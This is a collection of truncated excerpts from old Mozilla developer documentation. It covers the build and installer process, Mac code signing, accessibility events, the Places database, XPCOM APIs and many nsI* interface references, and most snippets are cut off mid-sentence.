new "install directory" elsewhere, or run the installer located in the <obj dir>/dist/install/sea. if you are running windows and want the mozilla maintenance service to be used, there are a few additional steps to be taken here. first, the maintenance service needs to be "installed". most likely, a different maintenance service is already installed, probably at c:\program files (x86)\mozilla mainte...
Signing Mozilla apps for Mac OS X
open the developer certificate utility. click "certificates" from the left hand menu. click "create a certificate" at the top right corner select the "developer id" radio button and uncheck the "developer id installer certificate" box. click "create" and follow the instructions in the wizard. it will guide you through creating a private key, certificate signing request, and importing your
new developer id into the keychain access application on your mac. if the "developer id" radio button is greyed out you probably have a group account. these types of accounts only allow for the "agent" role to create developer ids. contact the person who created your group apple developer account if you get stuck here. the codesign tool apple provides a tool called codesign; this command-line appl...
Task graph
each task is sent to treeherder where developers and sheriffs can track the status of the push. the outputs from each task, log files, firefox installers, and so on, appear attached to each task when it completes. these are viewable in the task inspector. all of this is controlled from within the gecko source code, through a process called task-graph generation. this means it's easy to add a
new job or tweak the parameters of a job in a try push, eventually landing that change on an integration branch. the details of task-graph generation are documented in the source code itself, including a some quick recipes for common changes. ...
Gecko events
ment object have changed. is supported: no event_document_content_changed the contents of the document have changed. is supported: no event_property_changed is supported: no event_selection_changed is supported: yes event_text_attribute_changed a text object's attributes changed. also see event_object_attribute_changed is supported: no event_text_caret_moved the caret has moved to a
new position. is supported: yes event_text_changed this event indicates general text changes, i.e. changes to text that is exposed through the iaccessibletext and iaccessibleeditabletext interfaces. is supported: no event_text_inserted text was inserted. is supported: yes event_text_removed text was removed. event_text_updated text was updated. event_text_selection_changed the text selection ...
Gecko states
client application can communicate all items in the list to users. state_offscreen scrolled off state_sizeable the object can be resized. for example, a user could change the size of a window by clicking the border with a mouse and dragging the mouse. state_moveable indicates that the object can be moved. for example, a user can click on the titlebar for the object and drag the object to a
new location. state_selfvoicing the object or child uses text-to-speech (tts) technology for description purposes. a speech-based accessibility aid does not announce information when an object with this state has the focus because the object automatically announces information. isn't used state_focusable the object can be focused. applied to: events: concomitant state: state_focused st...
The Places database
d is managed by the history service (see also history service design). any time a places component wants to reference a url, whether visited or not, it refers to this table. each entry has an optional reference to the moz_favicon table to identify the favicon of the page. no two entries may have the same value in the url column. moz_hosts: one entry in this table is created each time you visit a
new host. it contains the host url, frequency of access, if typed or not, and it's prefix (https://, ftp://, etc). history tables moz_historyvisits: one entry in this table is created each time you visit a page. it contains the date, referrer, and other information specific to that visit. it contains a reference to the moz_places table which contains the url and other global statistics. see hi...
Using the Places annotation service
is the name of the annotation. see the section on naming above. value: the value of the annotation. flags: currently unused. should be 0. expiration: the expiration time for the annotation (see "lifetime of annotations" below). ...
Using the Places keywords API
fetching an entry by keyword the fetch() method acceps a keyword string (or an object having a keywords property) and might resolve to a keyword entry with the following properties: keyword: string representing the keyword url: the url represeted by the keyword postdata: optional post data string. not defined if there's no post data. if no keyword exists, will resolve to null. plac...
FUEL
fuel is about making it easier for extension developers to be productive, by minimizing some of the xpcom formality and adding some "modern" javascript ideas. we want to start with areas that will provide the most benefit. ...
XPCOM Glue without mozalloc
starting with xulrunner 2.0, the frozen linkage dependent glue (xpcomglue_s.lib on windows, libxpcomglue_s.a on linux and mac) is dependent on the
new infallible memory allocation routines (mozalloc). since these routines didn't exist prior to xulrunner 2.0, xpcom components that link against the frozen linkage dependent glue will not be compatible with xulrunner applications prior to 2.0. the solution is to link against xpcomglue_s_nomozalloc instead (xpcomglue_s_nomozalloc.lib on windows, libxpcomglue_s_nomozalloc.a on linux and mac). this library is
new in xulrunner 2.0, and it's identical to xpcomglue_s, except that it's compiled without mozalloc. simply change all references to "xpcomglue_s" in your compiler and linker flags to "xpcomglue_s_nomozalloc". resulting xpcom compon...
Preface
format description bold component names appear in bold in the text monospace code listings, interface names and members of interfaces (e.g., createinstance()) appear in monospaced font. lines of code are placed in separate boxes. additionally, filenames and directories appear in monospaced font. italic variables appear in italic. important terms and
new concepts are also italicized the first time they appear in the text. those terms are either explained immediately after they are cited, or else the reader is referred to a section in the book where they are described in detail. link references to other sections and to figures and tables are links to those sections. acknowledgements thanks to peter lubczynski, john gaunt, ellen...
Detailed XPCOM hashtable guide
e your key is, all functions that work with keys are declared using const void*, and your client code must cast these pointers to the appropriate type. pldhashtables can be allocated on the stack or the heap: when allocated on the stack, or as a c++ class member, the table must be initialized using pl_dhashtableinit, and finalized using pl_dhashtablefinish; when allocated on the heap, use pl_
newdhashtable and pl_dhashtabledestroy to allocate and delete the table. plhashtable plhashtable is a part of nspr. the header file can be found at nsprpub/lib/ds/plhash.h. in general, pldhash is a better solution than plhashtable, because plhashtable makes many heap allocations. there are two situations where plhashtable may be preferable to pldhash: you need entry-pointers to remain constant...
Receiving startup notifications
receiving startup notifications in gecko 2.0 (firefox 4) and later in order to improve startup times, changes were made to the xpcom startup process. see the startup process for details on how this now works, if you're interested in specifics. ...
XPCOM guide
this guide describes the available arrays as well as the enumerator classes that can be used to get to them. in this document the term array refers to a container for multiple objects with a numeric, zero-based index.xpcom changes in gecko 2.0s...
Components.Exception
summary components.exception is a javascript constructor to create nsixpcexception objects. these exception objects may be thrown when implementing xpcom interfaces in javascript, and they can provide better diagnostics in the error console if not caught than simply throwing an nsresult's value will. see also nsixpcexception. ...
Components.ID
components.classes, components.classesbyid, components.interfaces provide pretty much all the nsids that most javascript code would ever need to deal with. ...
Components.utils.evalInSandbox
ne the security principal for code running in the sandbox, and can make various properties available to code running in the sandbox. the sandbox will become the global scope object when you pass it to evalinsandbox(text, sandbox). you can import functions or objects into the sandbox simply by assigning them to the sandbox object. for example: function double(n) { return n * 2; } // create
new sandbox instance var mysandbox =
new components.utils.sandbox("http://www.example.com/"); mysandbox.y = 5; // insert property 'y' with value 5 into global scope. mysandbox.double = double; var result = components.utils.evalinsandbox("x = y + 2; double(x) + 3", mysandbox); console.log(result); // 17 console.log(mysandbox.x); // 7 operations on objects you insert into this sa...
Components.utils
the following members: editors! please keep this list in sync with the components object page methods method description cloneinto() create a structured clone of an object in a different javascript context. createarrayin() removed in gecko 31 returns an array created in specified compartment. createobjectin() creates a
new object, created in the scope of the specified object's compartment. dispatch() dispatches a runnable to the current/main thread. if the parameter is passed, the runnable will be dispatch in the compartment of the parameter, which affects which error reporter gets called. evalinsandbox() runs javascript code in a sandbox, usually used to run code with restricted privileges...
Components.utils.reportError
error object to the error console, and returns. it is meant for use by extension developers who have exception handler blocks which want to "eat" an exception, but still want to report it to the console. it must be called with one parameter, usually an object which was caught by an exception handler. if it is not a javascript error object, the parameter is converted to a string and reported as a
new error. this means you can use components.utils.reporterror to report debugging messages to the error console, just like dump() can be used to print messages to the native console. however you should use nsiconsoleservice for logging, as it logs the messages with normal severity, unlike reporterror. function mydump(amessage) { var consoleservice = components.classes["@mozilla.org/consoleservic...
Components object
l xpcom component manager results array of known result codes by name returncode pending result for current call stack current javascript call stack utils provides access to several useful features utils.atline provides access to the value of the atline property in the javascript environment. utils.createobjectin creates a
new object in the scope of the specified object's compartment. may only be called from javascript code. utils.evalinsandbox runs javascript code in a sandbox, usually used to run code with restricted privileges. utils.forcegc forces a garbage collection cycle. utils.getglobalforobject returns the global object with which a given object is associated (...
Development
source the latest source code is available on the mozilla trunk, in the extensions/java/xpcom directory. build instructions the build instructions are available here: building javaxpcom. bugs all javaxpcom bugs are tracked in bugzilla, using the "core" product and "java to xpcom bridge" component. list of open javaxpcom bugs open a
new javaxpcom bug checkins within the last month ...
JavaXPCOM
embedding mozilla in a java application using javaxpcom xulrunner ships with the javaxpcom component, which allows java code to interact with xpcom objects. as you will see in this article, working with xpcom objects in java is not that much different than doing so in c++. view all... community view mozilla embedding forums... mailing list
newsgroup rss feed related topics xpcom, embedding mozilla ...
PlXPCOM
plxpcom (perl xpcom) provides language bindings letting you use xpcom from perl code. the resources here provide information about this language binding and how to use it. project page (mozdev) perl object definition (mozdev) developer's guide to perl xpcom (mozdev)
newsgroup (mozdev) mailing list (mozdev) ...
Community
activestate python xpcom bindings mailing list discussion of the bindings between the python language and the xpcom (cross-platform com) technology from the mozilla project. ...
RbXPCOM
rbxpcom (ruby cross-platform com) provides bindings between the popular ruby programming language and xpcom. you can find additional information using the resource links below. project page (mozdev) manual (mozdev) mailing list (mozdev)
newsgroup (mozdev) ...
xpcshell
, thunderbird, etc.) $ cd /opt/mozilla $ ./run-mozilla.sh ./xpcshell js> execute xpcshell from window the built xpcshell.exe can't be executed under the mozilla build shell(bash). it should be executed under the window command prompt source_directory/obj-xxxxx/dist/bin> xpcshell.exe using the latest version of javascript at present, xpcshell doesn't use the latest version of javascript, so
newer language features, such as the let statement introduced in javascript 1.7, are not available. to rectify this, run xpcshell with the -v 180 command-line option, which tells xpcshell to use javascript 1.8. example you can input javascript, straight to mozilla. js> 5+7 12 js> print("hello, world!") hello, world! js> see also howto for common problems in writing xpcshell scripts, e.g., doi...
XPConnect
dl faq a faq about using xpconnect and xpidl. this page needs to migrate to mdn. ...
NS_InitXPCOM2
ialized indicates that static globals were not yet initialized, which may happen if this method is called before xpcom's static initialization code executes. this error may also occur if xpcom is being initialized after ns_shutdownxpcom has been called. remarks you must call ns_initxpcom2 (or ns_initxpcom3) before proceeding to use xpcom in a process. the one exception is that you may call ns_
newlocalfile or ns_
newnativelocalfile to create a nsifile needed for the abindirectory parameter to ns_initxpcom2. many of the xpcom glue functions and classes are also available prior to xpcom initialization, including for example nsembedcstring and nscomptr. history this function was finalized for mozilla 0.9.6. see bug 999147 for details. see also ns_initxpcom3, ns_shutdownxpcom ...
NS_InitXPCOM3
ialized indicates that static globals were not yet initialized, which may happen if this method is called before xpcom's static initialization code executes. this error may also occur if xpcom is being initialized after ns_shutdownxpcom has been called. remarks you must call ns_initxpcom3 (or ns_initxpcom2) before proceeding to use xpcom in a process. the one exception is that you may call ns_
newlocalfile or ns_
newnativelocalfile to create a nsifile needed for the abindirectory parameter to ns_initxpcom3. many of the xpcom glue functions and classes are also available prior to xpcom initialization, including for example nsembedcstring and nscomptr. initializing xpcom with static modules allows the application to easily define modules that are linked into the application's executable. this...
nsAutoRef
nsautoref is therefore useful for managing a reference to a foreign object. ...
Alloc
« xpcom api reference summary the alloc function allocates a block of memory of a particular size. static void* alloc( size_t asize ); parameters asize [in] specifies the size in bytes of the block of memory to allocate. return values this function is infallible, therefore guaranteed to return a pointer to the
newly allocated buffer. the result must be freed with a call to nsmemory::free() when it is no longer needed. note: prior to gecko 13.0, this function returned nsnull if memory allocation failed. see also nsmemory::free() ...
Clone
« xpcom api reference summary the clone function creates a copy of an existing memory block up to the size specified. static void* clone( const void* aptr, size_t asize ); parameters aptr [in] the address of the memory block to copy. this must be non-null. asize [in] specifies the
new size in bytes of the block of memory to allocate. the buffer at aptr must be at least asize bytes in length. return values this function returns nsnull if the memory allocation fails. otherwise, it returns a pointer to the
newly allocated buffer. the result must be freed with a call to nsmemory::free when it is no longer needed. see also nsmemory::free ...
nsMemory
tatic helper routines to manage memory. these routines allow easy access to xpcom's global nsimemory implementation without having to go through the service manager to get it. #include "nsmemory.h" class nsmemory { ... }; methods alloc the alloc function allocates a block of memory of a particular size. realloc the realloc function reallocates a block of memory to a
new size. free the free function frees a block of memory that was allocated by xpcom's memory manager. heapminimize the heapminimize function attempts to shrink the size of the heap. clone the clone function creates a copy of an existing memory block up to the size specified. getglobalmemoryservice the getglobalmemoryservice function returns a r...
RefPtr
nsisupports). but this is considered bad form, and may soon be made a compile-time error. don't do it! can i queryinterface a refptr to get a nscomptr from the object it points to? sure. instead of using "do_queryinterface()" (which is used for nscomptrs), use "do_queryobject()", which works with refptrs: // let's say nsfoo implements nsifoo and nsibar xpcom interfaces: refptr<nsfoo> foo =
new nsfoo(); nscomptr<nsibar> bar(do_queryobject(foo)); moz_assert(bar, "yikes someone changed the base classes of nsfoo"); can i queryinterface an nscomptr back to a refptr? yes. if the concrete class has its own xpcom iid (not true by default, but one can be added), you can also qi from an xpcom pointer to a concrete type: bar = do_queryobject(foo); if (bar) { ... } see this post for more det...
IAccessible2
ired the at could map the uniqueid to its internal model. thus, if there's a reorder/show/hide event the at knows which part of the internal structure has been invalidated and can refetch just that part. this value can also be used by an at to determine when the current control has changed. if the role is the same for two controls that are adjacent in the tab order, this can be used to detect the
new control. another use of this value by an at is to identify when a grouping object has changed, for example when moving from a radio button in one group to a radio button in a different group. one means of implementing this would be to create a factory with a 32 bit number generator and a reuse pool. the number generator would emit numbers starting at 1. each time an object's life cycle ended, its...
IAccessibleEditableText
0..length. endoffset start index of the text to be replaced. the valid range is 0..length. text the text that replaces the text between the given indices. return value e_invalidarg if bad [in] passed. s_ok. setattributes() replaces the attributes of a text range by the given set of attributes. sets the attributes for the text between the two given indices. the old attributes are replaced by the
new list of attributes. hresult setattributes( [in] long startoffset, [in] long endoffset, [in] bstr attributes ); parameters startoffset start index of the text whose attributes are modified. the valid range is 0..length. endoffset start index of the text whose attributes are modified. the valid range is 0..length. attributes set of attributes that replaces the old list of attributes of the ...
IAccessibleValue
implementation dependent type. if this object has no lower bound then an empty object is returned. see the section about. return value s_ok. setcurrentvalue() sets the value of this object to the given number. the argument is clipped to the valid interval whose upper and lower bounds are returned by the methods maximumvalue() and minimumvalue(), that is if it is lower than the minimum value the
new value will be the minimum and if it is greater than the maximum then the
new value will be the maximum. hresult setcurrentvalue( [in] variant value ); parameters value the
new value represented by this object. the set of admissible types for this argument is implementation dependent. return value s_ok. ...
amIWebInstallListener
the default implementation displays a confirmation dialog when add-ons are ready to install and uses the observer service to notify when installations are blocked. ...
imgIEncoder
t: "yes" overrides default from input format. "no" and "none" are equivalent. delay=# -- default: "500" number of milliseconds to display the frame, before moving to the next frame. dispose=[none|background|previous] -- default: "none" what to do with the image's canvas before rendering the next frame. see apng spec. blend=[source|over] -- default: "source" how to render the
new frame on the canvas. see apng spec. xoffset=# -- default: "0" yoffset=# -- default: "0" where to draw the frame, relative to the canvas. jpeg: ----- quality=# -- default: "92" quality of compression, 0-100 (worst-best). quality >= 90 prevents down-sampling of the color channels. methods addimageframe() void addimageframe( [array, size_is(length), const] in pruint8 data, in u...
imgILoader
upports cachekey, in imgirequest arequest, in nsichannelpolicy channelpolicy ); parameters auri the uri to load. ainitialdocumenturl areferreruri the 'referring' uri. aloadingprincipal the principal of the loading document. aloadgroup loadgroup to put the image load into. aobserver the observer (may be null) acx some random data. aloadflags load flags for the request. cachekey arequest a
newly created, unused imgirequest object or null for one to be created for you. libpr0n does not keep a strong ref to the observer; this prevents reference cycles. this means that callers of loadimage should make sure to cancel() the resulting request before the observer goes away. channelpolicy return value loadimagewithchannel() start the load and decode of an image. libpr0n does not keep a stro...
inIDOMUtils
n isinheritedproperty( in astring apropertyname ); parameters apropertyname the name of the css property. return value true if the property is inherited, otherwise false. parsestylesheet() parse css and update the style sheet in place. void parsestylesheet( in nsidomcssstylesheet asheet, in domstring ainput ); parameters asheet a domcssstylesheet. ainput a domstring. the
new source string for the style sheet. return value void setcontentstate() sets the given element as the current owner of the specified state, and removes that state from the previous owner. void setcontentstate( in nsidomelement aelement, in unsigned long long astate ); parameters aelement the element to set the content state of. astate the content state to set. this must be one (a...
jsdIStackFrame
attributes attribute type description callee jsdivalue function object running in this stack frame. read only. callingframe jsdistackframe link to the caller's stack frame. read only. executioncontext jsdicontext executon context. read only. functionname autf8string function name executing in this stack frame. read only. isconstructing boolean true if stack frame is constructing a
new object. read only. isdebugger boolean true if stack frame represents a frame created as a result of a debugger evaluation. read only. isnative boolean true if stack frame represents a native frame. read only. obsolete since gecko 2.0 jsdcontext jsdcontext internal use only. read only. native code only! jsdstackframeinfo jsdstackframeinfo internal use only. read only. native code only! j...
mozIAsyncFavicons
toolkit/components/places/moziasyncfavicons.idlscriptable interface for accessing the favicon service asynchronously. 1.0 66 introduced gecko 6.0 inherits from: nsisupports last changed in gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) nsifaviconservice handles this interface, so you do not need to directly create a
new service. simply queryinterface() the nsifaviconservice to this interface. as an alternative, you can just use placesutils.favicons from javascript. method overview void getfaviconurlforpage(in nsiuri apageuri, in nsifavicondatacallback acallback); void getfavicondataforpage(in nsiuri apageuri, in nsifavicondatacallback acallback); void setandfetchfaviconforpage(in nsiuri ap...
mozIJSSubScriptLoader
variables in the caller (ie.: in the caller's global object). this object will be searched for variables that cannot be resolved in the subscript scope. charset an optional string to specify the character encoding of the file. if absent, the file is interpreted as ascii. loadsubscriptwithoptions() same as loadsubscript(), except that parameters after url are expressed as an object, and a
new ignorecache option is available. note: this method must only be called from javascript! jsval loadsubscriptwithoptions( in string url, in object options ); parameters url the url pointing to the script to load. it must be a local chrome:, resource: or file: url. options an object that may include any of these parameters: property type description t...
mozISpellCheckingEngine
inherits from: nsisupports last changed in gecko 1.7 this interface represents a spell checking engine. the built in hunspell engine has contract id "@mozilla.org/spellchecker/engine;1". extensions can use this interface to check spelling or provide its own spell checker to editors. ...
mozIStorageAggregateFunction
o_createinstance("@mozilla.org/variant;1"); ns_ensure_true(result, ns_error_out_of_memory); rv = result->setasdouble(sqrt(double(total) / double(data.length()))); ns_ensure_success(rv, rv); ns_addref(*_result = result); return ns_ok; } private: nstarray<print32> mnumbers; }; // now, register our function with the database connection. nscomptr<mozistoragefunction> func =
new standarddeviationfunc(); ns_ensure_true(func, ns_error_out_of_memory); nsresult rv = dbconn->createfunction( ns_literal_cstring("stddev"), 1, func ); ns_ensure_success(rv, rv); // run some query that uses the function. nscomptr<mozistoragestatement> stmt; rv = dbconn->createstatement(ns_literal_cstring( "select stddev(value) from some_table"), getter_addrefs(stmt) ); ns_ensure_success(...
mozIStorageBindingParams
erface is used to bind values to parameters prior to calling mozistoragestatement.executeasync(). storage/public/mozistoragebindingparams.idlscriptable please add a summary to this article. last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports you can only create mozistoragebindingparams objects by calling the mozistoragebindingparamsarray.
newbindingparams(). method overview void bindbyindex(in unsigned long aindex, in nsivariant avalue); void bindblobbyindex(in unsigned long aindex, [array, const, size_is(avaluesize)] in octet avalue, in unsigned long avaluesize); void binddoublebyindex(in unsigned long aindex, in double avalue); native code only! void bindint32byindex(in unsigned long aindex, in ...
mozIStorageProgressHandler
e return true to abort the request or false to allow it to continue. see also storage mozstorage introduction and how-to article mozistorageconnection database connection to a specific file or in-memory data storage mozistoragestatement create and execute sql statements on a sqlite database. mozistoragevaluearray wraps an array of sql values, such as a result row. mozistoragefunction create a
new sqlite function. mozistorageaggregatefunction create a
new sqlite aggregate function. mozistoragestatementwrapper storage statement wrapper ...
mozIStorageValueArray
based numerical index for the column to get the data from. return value returns true if the column specified by aindex is null, or false otherwise. see also storage introduction and how-to article mozistorageconnection database connection to a specific file or in-memory data storage mozistoragestatement create and execute sql statements on a sqlite database. mozistoragefunction create a
new sqlite function. mozistorageaggregatefunction create a
new sqlite aggregate function. mozistorageprogresshandler monitor progress during the execution of a statement. mozistoragestatementwrapper storage statement wrapper ...
nsIAbCard
the nsiabcard interface is used to represent and manipulate cards in the addressbook. following a huge refactoring of the address book code, most of the documentation below is out of date. properties aren't stored anymore on the card, except for a handful of them. complex properties are expected to be accessed through a call to getproperty. see //github.com/realityripple/uxp/blob/master//mail
news/addrbook/public/nsiabcard.idl for more details. inherits from: nsisupports method overview astring getcardvalue(in string name) void setcardvalue(in string attrname, in astring value) void copy(in nsiabcard srccard) boolean equals(in nsiabcard card) string converttobase64encodedxml() astring converttoxmlprintdata() string convertt...
nsIAccessibleDocument
ete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) returns the first accessible parent of a dom node. guaranteed not to return null if the dom node is in a document. nsiaccessible getaccessibleinparentchain( in nsidomnode adomnode, in boolean acancreate ); parameters adomnode the dom node we need an accessible for. acancreate if true, this method can create a
new accessible. otherwise, it will return the first cached accessible in the parent chain. return value the first nsiaccessible found by crawling up the dom node to the document root. native code only!getcachedaccessnode obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it co...
nsIAccessibleEvent
document object have changed. event_document_content_changed 0x002f 0x002b the contents of the document have changed. event_property_changed 0x0030 0x002c event_selection_changed 0x0031 0x002d event_text_attribute_changed 0x0032 0x002e a text object's attributes changed. also see event_object_attribute_changed. event_text_caret_moved 0x0033 0x002f the caret has moved to a
new position. event_text_changed 0x0034 0x0030 this event indicates general text changes. that is, changes to text that is exposed through the iaccessibletext and iaccessibleeditabletext interfaces. event_text_inserted 0x0035 0x0031 text was inserted. event_text_removed 0x0036 0x0032 text was removed. event_text_updated 0x0037 0x0033 text was updated. event_text_selection_changed ...
nsIAccessibleProvider
value representing the type of accessible object. see constants for details. read only. constants common use constants constant value description noaccessible 0 do not create an accessible for this object this is useful if an ancestor binding already implements nsiaccessibleprovider, but no accessible is desired for the inheriting binding. outerdoc 0x00000001 for elements that spawn a
new document. for example now it is used by <xul:iframe>, <xul:browser> and <xul:editor>. xul controls constants constant value description xulalert 0x00001001 xulbutton 0x00001002 xulcheckbox 0x00001003 xulcolorpicker 0x00001004 xulcolorpickertile 0x00001005 xulcombobox 0x00001006 xuldropmarker 0x00001007 xulgroupbox 0x00001008 xulimage 0x00001009 xullink ...
nsIAccessibleText
ount long read only. constants text offset constants constant value description text_offset_end_of_text -1 will be treated as the equal to the end of the text. text_offset_caret -2 will be treated as the caret position. text boundary constants constant value description boundary_char 0 boundary_word_start 1 boundary_word_end 2 boundary_sentence_start 3 do not use in
new code. boundary_sentence_end 4 do not use in
new code. boundary_line_start 5 boundary_line_end 6 boundary_attribute_range 7 coordinate type constants obsolete since gecko 1.9 (firefox 3)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. constant value description coo...
nsIAccessibleValue
lue double maximumvalue double read only. minimumincrement double read only. minimumvalue double read only. methods setcurrentvalue() obsolete since gecko 1.9 (firefox 3) return a success condition of the value getting set. that is if the value is within the range of minimumvalue - maximumvalue. boolean setcurrentvalue( in double value ); parameters value
new value for current value. return value true if the value is within the range of minimumvalue - maximumvalue, false if it is not. ...
nsIAppShell
a null placeholder (macintosh). aevent void pointer to native event structure. listentoeventqueue() obsolete since gecko 1.9 (firefox 3) an event queue has been created or destroyed. hook or unhook it from your system, as necessary. void listentoeventqueue( in nsieventqueue aqueue, in prbool alisten ); parameters aqueue the queue in question. alisten pr_true for a
new queue wanting hooking up. pr_false for a queue wanting to be unhooked. resumenative() resumes the use of additional platform-specific methods to run() gecko events on the main application thread. calls to suspendnative() and resumenative may be nested. on some platforms this will be a no-op. void resumenative(); parameters none. run() enter an event loop. do not leave until exit() is called. vo...
nsIApplicationCacheService
e cache entry's key. chooseapplicationcache() tries to find the best application cache to serve a specified resource. nsiapplicationcache chooseapplicationcache( in acstring key ); parameters key the cache entry key for which to select an application cache. return value the nsiapplicationcache best able to serve the resource indicated by the key parameter. createapplicationcache() creates a
new, empty application cache for the specified cache group. nsiapplicationcache createapplicationcache( in acstring group ); parameters group the cache group for which to create an application cache. return value the
newly-created nsiapplicationcache. deactivategroup() deactivates the currently active cache object for the specified cache group. void deactivategroup( in acstring group ); param...
nsIArray
g indexof(in unsigned long startindex, in nsisupports element); void queryelementat(in unsigned long index, in nsiidref uuid, [iid_is(uuid), retval] out nsqiresult result); attributes attribute type description length unsigned long the number of elements in the array. read only. methods enumerate() enumerate the array. nsisimpleenumerator enumerate(); parameters none. return value a
new enumerator positioned at the start of the array. exceptions thrown ns_error_failure if the array is empty (to make it easy to detect errors). ns_error_out_of_memory if there is not enough memory to complete the operation. indexof() get the position of a specific element. note that since null is a valid input, exceptions are used to indicate that an element is not found. unsigned long indexof( ...
nsIAuthPrompt
ing dialogtitle, in wstring text, in wstring passwordrealm, in pruint32 savepassword, inout wstring pwd ); parameters dialogtitle the title of the dialog. text the text of the prompt message dialog box. passwordrealm the password realm. for example, ldap://localhost/dc=test. if a username is specified (http://user@site.com) it will be used when matching existing logins or saving
new ones. if no username is specified, only password-only logins will be matched or saved. savepassword saving password option. one of the save_password_* constants pwd the password entered by the user if ok was selected. return value true for ok, false for cancel. promptusernameandpassword() this method puts up a username/password dialog with ok and cancel buttons. boolean promptusernamean...
nsIAutoCompleteListener
inherits from: nsisupports last changed in gecko 1.7 method overview void onautocomplete(in nsiautocompleteresults result, in autocompletestatus status); void onstatus(in wstring statustext); attributes attribute type description param nsisupports private parameter used by the autocomplete widget. ...
nsIAutoCompleteObserver
esult(in nsiautocompletesearch search, in nsiautocompleteresult result); methods onsearchresult() called when a search is complete and the results are ready. void onsearchresult( in nsiautocompletesearch search, in nsiautocompleteresult result ); parameters search the search object that processed this search. result the search result object. onupdatesearchresult() called to update with
new results. void onupdatesearchresult( in nsiautocompletesearch search, in nsiautocompleteresult result ); parameters search the search object that processed this search. result the search result object. ...
nsIBlocklistPrompt
isplay a confirmation user interface to the user before blocking extensions or plugins. 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void prompt([array, size_is(acount)] in nsivariant aaddons, [optional] in pruint32 acount); methods prompt() prompt the user about
newly blocked addons. the prompt is then responsible for soft-blocking any addons that need to be afterwards. void prompt( [array, size_is(acount)] in nsivariant aaddons, in pruint32 acount optional ); parameters aaddons an array of addons and plugins that are blocked. these are javascript objects with properties: name - the plugin or extension name version - the version of the...
nsICachingChannel
e set before opening the channel. cachekey nsisupports uniquely identifies the data in the cache for this channel. holding a reference to this key does not prevent the cached data from being removed. a cache key retrieved from a particular instance of nsicachingchannel could be set on another instance of nsicachingchannel provided the underlying implementations are compatible and provided the
new channel instance was created with the same uri. the implementation of nsicachingchannel would be expected to use the cache entry identified by the cache token. depending on the value of nsirequest.loadflags(), the cache entry may be validated, overwritten, or simply read. the cache key may be null indicating that the uri of the channel is sufficient to locate the same cache entry. setting a null ...
nsIChannelPolicy
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface exists to allow the content policy mechanism to function properly during channel redirects. channels can be created with this interface placed in the property bag and upon redirect, the interface can be transferred from the old channel to the
new channel. attributes attribute type description contentsecuritypolicy nsisupports a nsicontentsecuritypolicy object to determine if the load should be allowed. loadtype unsigned long indicates what type of content is being loaded, for example nsicontentpolicy::type_image. ...
nsICommandLineHandler
@mozilla.org/browser/clh-final;1 method overview void handle(in nsicommandline acommandline); attributes attribute type description helpinfo autf8string when the application is launched with the -help argument, this attribute is retrieved and displayed to the user (on stdout). the text should have embedded
newlines which wrap at 76 columns, and should include a
newline at the end. by convention, the right column which contains flag descriptions begins at the 24th character. read only. methods handle() processes a command line. if this handler finds arguments that it understands, it should perform the appropriate actions (such as opening a window), and remove the arguments from the command-line...
nsIComponentManager
there should be no need to call this method, since the bootstrapped add-on's chrome.manifest is loaded automatically now. void addbootstrappedmanifestlocation( in interface nsilocalfile alocation ); parameters alocation the directory or xpi from which to load the chrome.manifest. createinstance() creates an instance of the class specified by classid. unlike getservice, this returns a
new instance each time it is called. (see also nsifactory.createinstance.) void createinstance( in nscidref aclass, in nsisupports adelegate, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result ); parameters aclass the classid of the object instance that is being requested. adelegate the outer object used for aggregation. aiid the interface type to be returned. result t...
nsIContentPrefObserver
current value or by creating the preference). void oncontentprefset( in astring agroup, in astring aname, in nsivariant avalue ); parameters agroup the group to which the preference belongs; this may be the uri of a web site. this value is null if the preference is global, applying to all web sites. aname the name of the preference whose value has changed. avalue the preference's
new value. see also nsicontentprefservice using content preferences ...
nsIContentView
, instead of just how it is transformed; this is a 64-bit unsigned integer. read only. scrollx float horizontal scroll offset in chrome-document css pixels. when this view is active (that is it is being painted because it's in the visible region of the screen), this value is at first lined up with the content's scroll offset. note: when this view becomes inactive, the
new content view will have scroll values that are reset to the default. read only. scrolly float horizontal scroll offset in chrome-document css pixels. read only. viewportheight float height of the viewport in chrome-document css pixels. read only. viewportwidth float width of the viewport in chrome-document css pixels. read only. methods ...
nsIContentViewer
en closed but not destroyed. native code only! sticky boolean methods clearhistoryentry() clears the current history entry. this is used to clear out the saved presentation state. void clearhistoryentry(); parameters none. close() all users of a content viewer are responsible for calling both close() and destroy(), in that order. close() should be called when the load of a
new page for the next content viewer begins, and destroy() should be called when the next content viewer replaces this one. note: if the document is currently being printed, it will not be saved in session history. void close( in nsishentry historyentry ); parameters historyentry the session history entry for the content viewer. if this is null, then destroy() will be called on the docu...
nsICookiePermission
nel achannel ); parameters achannel the channel for the load trying to get or set cookies. return value the originating uri. setaccess() sets cookie access permissions for the given uri. this may result in other uris being blocked as well, such as uris that share the same host name. void setaccess( in nsiuri auri, in nscookieaccess aaccess ); parameters auri the uri to block. aaccess the
new cookie access permissions for the uri. see also nsicookie nsicookie2 nsicookiemanager nsicookiemanager2 ...
nsICryptoHMAC
m) but on different set of data. void reset(); parameters none. update() void update( [const, array, size_is(alen)] in octet adata, in unsigned long alen ); parameters adata a buffer to calculate the hash over. alen the length of the buffer adata. exceptions thrown ns_error_not_initialized if init() has not been called. updatefromstream() calculates and updates a
new hash based on a given data stream. void updatefromstream( in nsiinputstream astream, in unsigned long alen ); parameters astream an input stream to read from. alen how much to read from the given astream. passing pr_uint32_max indicates that all data available will be used to update the hash. exceptions thrown ns_error_not_initialized if init() has not been called.
nsICryptoHash
ash of a string for an example of using this method. void update( [const, array, size_is(alen)] in octet adata, in unsigned long alen ); parameters adata a buffer to calculate the hash over. alen the length of the buffer adata. exceptions thrown ns_error_not_initialized indicates that init() or initwithstring() has not been called. updatefromstream() calculates and updates a
